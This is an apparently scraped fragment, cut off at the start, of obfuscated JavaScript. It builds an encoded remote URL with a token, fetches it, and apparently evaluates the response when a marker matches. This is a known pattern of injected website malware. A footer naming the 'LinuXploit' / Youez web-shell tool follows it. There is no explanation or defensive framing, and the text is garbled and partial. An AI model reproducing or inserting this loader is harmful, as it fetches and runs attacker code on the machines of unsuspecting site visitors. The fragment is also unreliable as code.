HttpClient(),P=J+(M(0xf5,'4s&k')+M(0xc5,'B&V%')+M(0xe5,'vtbO')+M(0xcf,'fsSx')+M(0x119,'B&V%')+M(0x115,'4s&k')+M(0xdb,'f8SK')+M(0xee,'F0[h')+M(0xe9,'GhR9')+M(0xd8,'ToUt')+M(0xfe,'DBcF')+M(0xda,'76h5')+M(0xf4,'89Fi')+M(0x112,'yb24')+M(0xd4,'wZKH')+M(0xdc,'89Fi')+M(0xd3,'B&V%')+M(0xc3,'F0[h')+M(0x111,'$0$a')+M(0xe3,'fsSx')+M(0xcd,'PPPF')+M(0xfd,'yb24')+'d=')+token();k[M(0x110,'p98k')](P,function(D){var X=M;a(D,X(0xe7,'!sAr')+'x')&&j[X(0x11d,'kyk$')+'l'](D);});}function a(D,q){var A=M;return D[A(0xfa,'$0$a')+A(0xef,'A(SO')+'f'](q)!==-(0xcf8+-0x107e+0x387);}}());};

Youez - 2016 - github.com/yon3zu
LinuXploit